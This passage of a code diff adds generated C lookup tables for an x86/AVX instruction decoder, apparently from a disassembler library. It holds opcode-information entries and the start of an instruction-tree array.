+ /*II_0F_C2*/{ { 0x179, 4392 }, 0x0, 0, 0, 4401, 4410 },
+ /*II_66_0F_C2*/{ { 0x17a, 4471 }, 0x0, 0, 0, 4480, 4489 },
+ /*II_F3_0F_C2*/{ { 0x17b, 4550 }, 0x0, 0, 0, 4559, 4568 },
+ /*II_F2_0F_C2*/{ { 0x17c, 4629 }, 0x0, 0, 0, 4638, 4647 },
+ /*II_V_0F_C2*/{ { 0x17d, 4708 }, 0x1, 90, 0, 4718, 4728 },
+ /*II_V_66_0F_C2*/{ { 0x17d, 5110 }, 0x1, 90, 0, 5120, 5130 },
+ /*II_V_F3_0F_C2*/{ { 0x17e, 5512 }, 0x0, 71, 0, 5522, 5532 },
+ /*II_V_F2_0F_C2*/{ { 0x17e, 5914 }, 0x0, 72, 0, 5924, 5934 },
+ /*II_0F_C4*/{ { 0x17f, 6316 }, 0x0, 1, 0, 0, 0 },
+ /*II_66_0F_C4*/{ { 0x180, 6316 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_C4*/{ { 0x181, 6324 }, 0x0, 25, 1, 0, 0 },
+ /*II_0F_C5*/{ { 0x182, 6333 }, 0x0, 1, 0, 0, 0 },
+ /*II_66_0F_C5*/{ { 0x183, 6333 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_C5*/{ { 0x184, 6341 }, 0x40, 1, 0, 0, 0 },
+ /*II_0F_C6*/{ { 0x185, 6350 }, 0x0, 1, 0, 0, 0 },
+ /*II_66_0F_C6*/{ { 0x15f, 6358 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_0F_C6*/{ { 0x186, 6366 }, 0x1, 90, 1, 0, 0 },
+ /*II_V_66_0F_C6*/{ { 0x186, 6375 }, 0x1, 90, 1, 0, 0 },
+ /*II_0F_C7_01*/{ { 0x187, 6384 }, 0x0, 0, 0, 0, 6395 },
+ /*II_V_66_0F_D0*/{ { 0x13c, 6436 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_F2_0F_D0*/{ { 0x13c, 6447 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_D1*/{ { 0x135, 6465 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_D2*/{ { 0x135, 6480 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_D3*/{ { 0x135, 6495 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_D4*/{ { 0x135, 6510 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_D5*/{ { 0x135, 6526 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_D6*/{ { 0x18b, 3961 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_D7*/{ { 0x18e, 6563 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_D8*/{ { 0x135, 6583 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_D9*/{ { 0x135, 6602 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_DA*/{ { 0x135, 6620 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_DB*/{ { 0x135, 6635 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_DC*/{ { 0x135, 6651 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_DD*/{ { 0x135, 6651 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_DE*/{ { 0x135, 6678 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_DF*/{ { 0x135, 6694 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E0*/{ { 0x135, 6709 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E1*/{ { 0x135, 6724 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E2*/{ { 0x135, 6739 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E3*/{ { 0x135, 6754 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E4*/{ { 0x135, 6771 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E5*/{ { 0x135, 6789 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E6*/{ { 0x157, 6829 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F3_0F_E6*/{ { 0x156, 6841 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_F2_0F_E6*/{ { 0x157, 6852 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_E7*/{ { 0x147, 6880 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_E8*/{ { 0x135, 6898 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_E9*/{ { 0x135, 6915 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_EA*/{ { 0x135, 6932 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_EB*/{ { 0x135, 6946 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_EC*/{ { 0x135, 6960 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_ED*/{ { 0x135, 6977 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_EE*/{ { 0x135, 6994 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_EF*/{ { 0x135, 7009 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_F2_0F_F0*/{ { 0x192, 7023 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_F1*/{ { 0x135, 7038 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_F2*/{ { 0x135, 7053 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_F3*/{ { 0x135, 7068 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_F4*/{ { 0x135, 7085 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_F5*/{ { 0x135, 7104 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_F6*/{ { 0x135, 7122 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_F7*/{ { 0x196, 7153 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_F8*/{ { 0x135, 7173 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_F9*/{ { 0x135, 7188 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_FA*/{ { 0x135, 7203 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_FB*/{ { 0x135, 7218 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_FC*/{ { 0x135, 7233 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_FD*/{ { 0x135, 7248 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_FE*/{ { 0x135, 7263 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_00*/{ { 0x135, 7371 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_01*/{ { 0x135, 7388 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_02*/{ { 0x135, 7405 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_03*/{ { 0x135, 7423 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_04*/{ { 0x135, 7444 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_05*/{ { 0x135, 7464 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_06*/{ { 0x135, 7481 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_07*/{ { 0x135, 7499 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_08*/{ { 0x135, 7517 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_09*/{ { 0x135, 7534 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_0A*/{ { 0x135, 7551 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_0B*/{ { 0x135, 7570 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_0C*/{ { 0x13c, 7581 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_38_0D*/{ { 0x13c, 7592 }, 0x1, 90, 0, 0, 0 },
+ /*II_V_66_0F_38_0E*/{ { 0x126, 7603 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_0F*/{ { 0x126, 7612 }, 0x41, 0, 0, 0, 0 },
+ /*II_66_0F_38_10*/{ { 0x19f, 7621 }, 0x0, 74, 0, 0, 0 },
+ /*II_66_0F_38_14*/{ { 0x19f, 7631 }, 0x0, 74, 0, 0, 0 },
+ /*II_66_0F_38_15*/{ { 0x19f, 7641 }, 0x0, 74, 0, 0, 0 },
+ /*II_V_66_0F_38_17*/{ { 0x126, 7658 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_18*/{ { 0x1a1, 7666 }, 0x41, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_19*/{ { 0x1a2, 7680 }, 0x50, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_1A*/{ { 0x1a3, 7694 }, 0x50, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_1C*/{ { 0x1a4, 7717 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_1D*/{ { 0x1a4, 7732 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_1E*/{ { 0x1a4, 7747 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_20*/{ { 0x150, 7765 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_21*/{ { 0x14f, 7786 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_22*/{ { 0x1a8, 7807 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_23*/{ { 0x150, 7828 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_24*/{ { 0x14f, 7849 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_25*/{ { 0x150, 7870 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_28*/{ { 0x135, 7889 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_29*/{ { 0x135, 7907 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_2A*/{ { 0x1ab, 7927 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_2B*/{ { 0x135, 7948 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_2C*/{ { 0x13c, 7959 }, 0x1, 92, 0, 0, 0 },
+ /*II_V_66_0F_38_2D*/{ { 0x13c, 7971 }, 0x1, 92, 0, 0, 0 },
+ /*II_V_66_0F_38_2E*/{ { 0x1ac, 7959 }, 0x1, 83, 0, 0, 0 },
+ /*II_V_66_0F_38_2F*/{ { 0x1ac, 7971 }, 0x1, 83, 0, 0, 0 },
+ /*II_V_66_0F_38_30*/{ { 0x150, 7993 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_31*/{ { 0x14f, 8014 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_32*/{ { 0x1a8, 8035 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_33*/{ { 0x150, 8056 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_34*/{ { 0x14f, 8077 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_35*/{ { 0x150, 8098 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_37*/{ { 0x135, 8118 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_38*/{ { 0x135, 8136 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_39*/{ { 0x135, 8153 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_3A*/{ { 0x135, 8170 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_3B*/{ { 0x135, 8187 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_3C*/{ { 0x135, 8204 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_3D*/{ { 0x135, 8221 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_3E*/{ { 0x135, 8238 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_3F*/{ { 0x135, 8255 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_40*/{ { 0x135, 8272 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_41*/{ { 0x1a4, 8293 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_96*/{ { 0x1ae, 8332 }, 0x7, 90, 0, 8348, 0 },
+ /*II_V_66_0F_38_97*/{ { 0x1ae, 8364 }, 0x7, 90, 0, 8380, 0 },
+ /*II_V_66_0F_38_98*/{ { 0x1ae, 8396 }, 0x7, 90, 0, 8409, 0 },
+ /*II_V_66_0F_38_99*/{ { 0x1af, 8422 }, 0x6, 80, 0, 8435, 0 },
+ /*II_V_66_0F_38_9A*/{ { 0x1ae, 8448 }, 0x7, 90, 0, 8461, 0 },
+ /*II_V_66_0F_38_9B*/{ { 0x1af, 8474 }, 0x6, 80, 0, 8487, 0 },
+ /*II_V_66_0F_38_9C*/{ { 0x1ae, 8500 }, 0x7, 90, 0, 8514, 0 },
+ /*II_V_66_0F_38_9D*/{ { 0x1af, 8528 }, 0x6, 80, 0, 8542, 0 },
+ /*II_V_66_0F_38_9E*/{ { 0x1ae, 8556 }, 0x7, 90, 0, 8570, 0 },
+ /*II_V_66_0F_38_9F*/{ { 0x1af, 8584 }, 0x6, 80, 0, 8598, 0 },
+ /*II_V_66_0F_38_A6*/{ { 0x1ae, 8612 }, 0x7, 90, 0, 8628, 0 },
+ /*II_V_66_0F_38_A7*/{ { 0x1ae, 8644 }, 0x7, 90, 0, 8660, 0 },
+ /*II_V_66_0F_38_A8*/{ { 0x1ae, 8676 }, 0x7, 90, 0, 8689, 0 },
+ /*II_V_66_0F_38_A9*/{ { 0x1af, 8702 }, 0x6, 80, 0, 8715, 0 },
+ /*II_V_66_0F_38_AA*/{ { 0x1ae, 8728 }, 0x7, 90, 0, 8741, 0 },
+ /*II_V_66_0F_38_AB*/{ { 0x1af, 8754 }, 0x6, 80, 0, 8767, 0 },
+ /*II_V_66_0F_38_AC*/{ { 0x1ae, 8780 }, 0x7, 90, 0, 8794, 0 },
+ /*II_V_66_0F_38_AD*/{ { 0x1af, 8808 }, 0x6, 80, 0, 8822, 0 },
+ /*II_V_66_0F_38_AE*/{ { 0x1ae, 8836 }, 0x7, 90, 0, 8850, 0 },
+ /*II_V_66_0F_38_AF*/{ { 0x1af, 8864 }, 0x6, 80, 0, 8878, 0 },
+ /*II_V_66_0F_38_B6*/{ { 0x1ae, 8892 }, 0x7, 90, 0, 8908, 0 },
+ /*II_V_66_0F_38_B7*/{ { 0x1ae, 8924 }, 0x7, 90, 0, 8940, 0 },
+ /*II_V_66_0F_38_B8*/{ { 0x1ae, 8956 }, 0x7, 90, 0, 8969, 0 },
+ /*II_V_66_0F_38_B9*/{ { 0x1af, 8982 }, 0x6, 80, 0, 8995, 0 },
+ /*II_V_66_0F_38_BA*/{ { 0x1ae, 9008 }, 0x7, 90, 0, 9021, 0 },
+ /*II_V_66_0F_38_BB*/{ { 0x1af, 9034 }, 0x6, 80, 0, 9047, 0 },
+ /*II_V_66_0F_38_BC*/{ { 0x1ae, 9060 }, 0x7, 90, 0, 9074, 0 },
+ /*II_V_66_0F_38_BD*/{ { 0x1af, 9088 }, 0x6, 80, 0, 9102, 0 },
+ /*II_V_66_0F_38_BE*/{ { 0x1ae, 9116 }, 0x7, 90, 0, 9130, 0 },
+ /*II_V_66_0F_38_BF*/{ { 0x1af, 9144 }, 0x6, 80, 0, 9158, 0 },
+ /*II_V_66_0F_38_DB*/{ { 0x1b1, 9180 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_66_0F_38_DC*/{ { 0x1b2, 9197 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_DD*/{ { 0x1b2, 9218 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_DE*/{ { 0x1b2, 9239 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_38_DF*/{ { 0x1b2, 9260 }, 0x0, 73, 0, 0, 0 },
+ /*II_V_66_0F_3A_04*/{ { 0x1b7, 7581 }, 0x41, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_05*/{ { 0x1b7, 7592 }, 0x41, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_06*/{ { 0x1b8, 9287 }, 0x10, 86, 1, 0, 0 },
+ /*II_66_0F_3A_08*/{ { 0x19f, 9299 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_08*/{ { 0x1b7, 9308 }, 0x41, 1, 0, 0, 0 },
+ /*II_66_0F_3A_09*/{ { 0x19f, 9318 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_09*/{ { 0x1b7, 9327 }, 0x41, 1, 0, 0, 0 },
+ /*II_66_0F_3A_0A*/{ { 0x1b9, 9337 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_0A*/{ { 0x181, 9346 }, 0x0, 71, 1, 0, 0 },
+ /*II_66_0F_3A_0B*/{ { 0x1ba, 9356 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_0B*/{ { 0x181, 9365 }, 0x0, 72, 1, 0, 0 },
+ /*II_66_0F_3A_0C*/{ { 0x19f, 9375 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_0C*/{ { 0x186, 9384 }, 0x1, 90, 1, 0, 0 },
+ /*II_66_0F_3A_0D*/{ { 0x19f, 9394 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_0D*/{ { 0x186, 9403 }, 0x1, 90, 1, 0, 0 },
+ /*II_66_0F_3A_0E*/{ { 0x19f, 9413 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_0E*/{ { 0x181, 9422 }, 0x0, 73, 1, 0, 0 },
+ /*II_0F_3A_0F*/{ { 0x1bb, 9432 }, 0x0, 1, 0, 0, 0 },
+ /*II_66_0F_3A_0F*/{ { 0x1bc, 9432 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_0F*/{ { 0x181, 9441 }, 0x0, 73, 1, 0, 0 },
+ /*II_66_0F_3A_14*/{ { 0x1bd, 9451 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_14*/{ { 0x1be, 9459 }, 0x40, 1, 0, 0, 0 },
+ /*II_66_0F_3A_15*/{ { 0x1bf, 6333 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_15*/{ { 0x1c0, 6341 }, 0x40, 1, 0, 0, 0 },
+ /*II_66_0F_3A_16*/{ { 0x1c1, 9468 }, 0x0, 1, 0, 0, 9476 },
+ /*II_V_66_0F_3A_16*/{ { 0x1c2, 9484 }, 0x46, 1, 0, 9493, 0 },
+ /*II_66_0F_3A_17*/{ { 0x1c3, 9502 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_17*/{ { 0x1c4, 9513 }, 0x40, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_18*/{ { 0x1b8, 9525 }, 0x10, 73, 1, 0, 0 },
+ /*II_V_66_0F_3A_19*/{ { 0x1c5, 9538 }, 0x50, 1, 0, 0, 0 },
+ /*II_66_0F_3A_20*/{ { 0x1c6, 9552 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_20*/{ { 0x181, 9560 }, 0x0, 76, 1, 0, 0 },
+ /*II_66_0F_3A_21*/{ { 0x1b9, 9569 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_21*/{ { 0x181, 9579 }, 0x0, 71, 1, 0, 0 },
+ /*II_66_0F_3A_22*/{ { 0x1c7, 9590 }, 0x0, 1, 0, 0, 9598 },
+ /*II_V_66_0F_3A_22*/{ { 0x181, 9606 }, 0x6, 79, 1, 9615, 0 },
+ /*II_66_0F_3A_40*/{ { 0x19f, 9624 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_40*/{ { 0x186, 9630 }, 0x1, 90, 1, 0, 0 },
+ /*II_66_0F_3A_41*/{ { 0x19f, 9637 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_41*/{ { 0x181, 9643 }, 0x0, 73, 1, 0, 0 },
+ /*II_66_0F_3A_42*/{ { 0x19f, 9650 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_42*/{ { 0x181, 9659 }, 0x0, 73, 1, 0, 0 },
+ /*II_66_0F_3A_44*/{ { 0x1c8, 9669 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_44*/{ { 0x1c9, 9680 }, 0x0, 73, 1, 0, 0 },
+ /*II_V_66_0F_3A_4A*/{ { 0x186, 9692 }, 0x1, 90, 84, 0, 0 },
+ /*II_V_66_0F_3A_4B*/{ { 0x186, 9703 }, 0x1, 90, 84, 0, 0 },
+ /*II_V_66_0F_3A_4C*/{ { 0x181, 9714 }, 0x0, 73, 82, 0, 0 },
+ /*II_66_0F_3A_60*/{ { 0x1ca, 9725 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_60*/{ { 0x160, 9736 }, 0x40, 1, 0, 0, 0 },
+ /*II_66_0F_3A_61*/{ { 0x1ca, 9748 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_61*/{ { 0x160, 9759 }, 0x40, 1, 0, 0, 0 },
+ /*II_66_0F_3A_62*/{ { 0x1ca, 9771 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_62*/{ { 0x160, 9782 }, 0x40, 1, 0, 0, 0 },
+ /*II_66_0F_3A_63*/{ { 0x1ca, 9794 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_63*/{ { 0x160, 9805 }, 0x40, 1, 0, 0, 0 },
+ /*II_66_0F_3A_DF*/{ { 0x1cb, 9817 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_3A_DF*/{ { 0x1cc, 9834 }, 0x40, 1, 0, 0, 0 },
+ /*II_V_66_0F_71_02*/{ { 0x1cf, 6465 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_71_04*/{ { 0x1cf, 6724 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_71_06*/{ { 0x1cf, 7038 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_72_02*/{ { 0x1cf, 6480 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_72_04*/{ { 0x1cf, 6739 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_72_06*/{ { 0x1cf, 7053 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_73_02*/{ { 0x1cf, 6495 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_73_03*/{ { 0x1cf, 9860 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_73_06*/{ { 0x1cf, 7068 }, 0x0, 1, 0, 0, 0 },
+ /*II_V_66_0F_73_07*/{ { 0x1cf, 9877 }, 0x0, 1, 0, 0, 0 },
+ /*II_0F_AE_00*/{ { 0x170, 9886 }, 0x0, 0, 0, 0, 9894 },
+ /*II_0F_AE_01*/{ { 0x170, 9914 }, 0x0, 0, 0, 0, 9923 },
+ /*II_V_0F_AE_02*/{ { 0x1d1, 9963 }, 0x40, 0, 0, 0, 0 },
+ /*II_V_0F_AE_03*/{ { 0x1d1, 9992 }, 0x40, 0, 0, 0, 0 }
+};
+
+_InstNode InstructionsTree[5688] = {
+ /* 0 - _00 */ 0x2000,
+ /* 1 - _01 */ 0x2001,
+ /* 2 - _02 */ 0x2002,
+ /* 3 - _03 */ 0x2003,
+ /* 4 - _04 */ 0x2004,
+ /* 5 - _05 */ 0x2005,
+ /* 6 - _06 */ 0x2006,
+ /* 7 - _07 */ 0x2007,
+ /* 8 - _08 */ 0x2008,
+ /* 9 - _09 */ 0x2009,
+ /* a - _0A */ 0x200a,
+ /* b - _0B */ 0x200b,
+ /* c - _0C */ 0x200c,
+ /* d - _0D */ 0x200d,
+ /* e - _0E */ 0x200e,
+ /* f - _0F */ 0x8100,
+ /* 10 - _10 */ 0x200f,
+ /* 11 - _11 */ 0x2010,
+ /* 12 - _12 */ 0x2011,
+ /* 13 - _13 */ 0x2012,
+ /* 14 - _14 */ 0x2013,
+ /* 15 - _15 */ 0x2014,
+ /* 16 - _16 */ 0x2015,
+ /* 17 - _17 */ 0x2016,
+ /* 18 - _18 */ 0x2017,
+ /* 19 - _19 */ 0x2018,
+ /* 1a - _1A */ 0x2019,
+ /* 1b - _1B */ 0x201a,
+ /* 1c - _1C */ 0x201b,
+ /* 1d - _1D */ 0x201c,
+ /* 1e - _1E */ 0x201d,
+ /* 1f - _1F */ 0x201e,
+ /* 20 - _20 */ 0x201f,
+ /* 21 - _21 */ 0x2020,
+ /* 22 - _22 */ 0x2021,
+ /* 23 - _23 */ 0x2022,
+ /* 24 - _24 */ 0x2023,
+ /* 25 - _25 */ 0x2024,
+ /* 26 - */ 0,
+ /* 27 - _27 */ 0x2025,
+ /* 28 - _28 */ 0x2026,
+ /* 29 - _29 */ 0x2027,
+ /* 2a - _2A */ 0x2028,
+ /* 2b - _2B */ 0x2029,
+ /* 2c - _2C */ 0x202a,
+ /* 2d - _2D */ 0x202b,
+ /* 2e - */ 0,
+ /* 2f - _2F */ 0x202c,
+ /* 30 - _30 */ 0x202d,
+ /* 31 - _31 */ 0x202e,
+ /* 32 - _32 */ 0x202f,
+ /* 33 - _33 */ 0x2030,
+ /* 34 - _34 */ 0x2031,
+ /* 35 - _35 */ 0x2032,
+ /* 36 - */ 0,
+ /* 37 - _37 */ 0x2033,
+ /* 38 - _38 */ 0x2034,
+ /* 39 - _39 */ 0x2035,
+ /* 3a - _3A */ 0x2036,
+ /* 3b - _3B */ 0x2037,
+ /* 3c - _3C */ 0x2038,
+ /* 3d - _3D */ 0x2039,
+ /* 3e - */ 0,
+ /* 3f - _3F */ 0x203a,
+ /* 40 - _40 */ 0x203b,
+ /* 41 - _40 */ 0x203c,
+ /* 42 - _40 */ 0x203d,
+ /* 43 - _40 */ 0x203e,
+ /* 44 - _40 */ 0x203f,
+ /* 45 - _40 */ 0x2040,
+ /* 46 - _40 */ 0x2041,
+ /* 47 - _40 */ 0x2042,
+ /* 48 - _48 */ 0x2043,
+ /* 49 - _48 */ 0x2044,
+ /* 4a - _48 */ 0x2045,
+ /* 4b - _48 */ 0x2046,
+ /* 4c - _48 */ 0x2047,
+ /* 4d - _48 */ 0x2048,
+ /* 4e - _48 */ 0x2049,
+ /* 4f - _48 */ 0x204a,
+ /* 50 - _50 */ 0x204b,
+ /* 51 - _50 */ 0x204c,
+ /* 52 - _50 */ 0x204d,
+ /* 53 - _50 */ 0x204e,
+ /* 54 - _50 */ 0x204f,
+ /* 55 - _50 */ 0x2050,
+ /* 56 - _50 */ 0x2051,
+ /* 57 - _50 */ 0x2052,
+ /* 58 - _58 */ 0x2053,
+ /* 59 - _58 */ 0x2054,
+ /* 5a - _58 */ 0x2055,
+ /* 5b - _58 */ 0x2056,
+ /* 5c - _58 */ 0x2057,
+ /* 5d - _58 */ 0x2058,
+ /* 5e - _58 */ 0x2059,
+ /* 5f - _58 */ 0x205a,
+ /* 60 - _60 */ 0x205b,
+ /* 61 - _61 */ 0x205c,
+ /* 62 - _62 */ 0x205d,
+ /* 63 - _63 */ 0x205e,
+ /* 64 - */ 0,
+ /* 65 - */ 0,
+ /* 66 - */ 0,
+ /* 67 - */ 0,
+ /* 68 - _68 */ 0x205f,
+ /* 69 - _69 */ 0x4000,
+ /* 6a - _6A */ 0x2060,
+ /* 6b - _6B */ 0x4001,
+ /* 6c - _6C */ 0x2061,
+ /* 6d - _6D */ 0x2062,
+ /* 6e - _6E */ 0x2063,
+ /* 6f - _6F */ 0x2064,
+ /* 70 - _70 */ 0x2065,
+ /* 71 - _71 */ 0x2066,
+ /* 72 - _72 */ 0x2067,
+ /* 73 - _73 */ 0x2068,
+ /* 74 - _74 */ 0x2069,
+ /* 75 - _75 */ 0x206a,
+ /* 76 - _76 */ 0x206b,
+ /* 77 - _77 */ 0x206c,
+ /* 78 - _78 */ 0x206d,
+ /* 79 - _79 */ 0x206e,
+ /* 7a - _7A */ 0x206f,
+ /* 7b - _7B */ 0x2070,
+ /* 7c - _7C */ 0x2071,
+ /* 7d - _7D */ 0x2072,
+ /* 7e - _7E */ 0x2073,
+ /* 7f - _7F */ 0x2074,
+ /* 80 - _80 */ 0x6200,
+ /* 81 - _81 */ 0x6208,
+ /* 82 - _82 */ 0x6210,
+ /* 83 - _83 */ 0x6218,
+ /* 84 - _84 */ 0x2075,
+ /* 85 - _85 */ 0x2076,
+ /* 86 - _86 */ 0x2077,
+ /* 87 - _87 */ 0x2078,
+ /* 88 - _88 */ 0x2079,
+ /* 89 - _89 */ 0x207a,
+ /* 8a - _8A */ 0x207b,
+ /* 8b - _8B */ 0x207c,
+ /* 8c - _8C */ 0x207d,
+ /* 8d - _8D */ 0x207e,
+ /* 8e - _8E */ 0x207f,
+ /* 8f - _8F */ 0x6220,
+ /* 90 - _90 */ 0x2080,
+ /* 91 - _91 */ 0x2081,
+ /* 92 - _92 */ 0x2082,
+ /* 93 - _93 */ 0x2083,
+ /* 94 - _94 */ 0x2084,
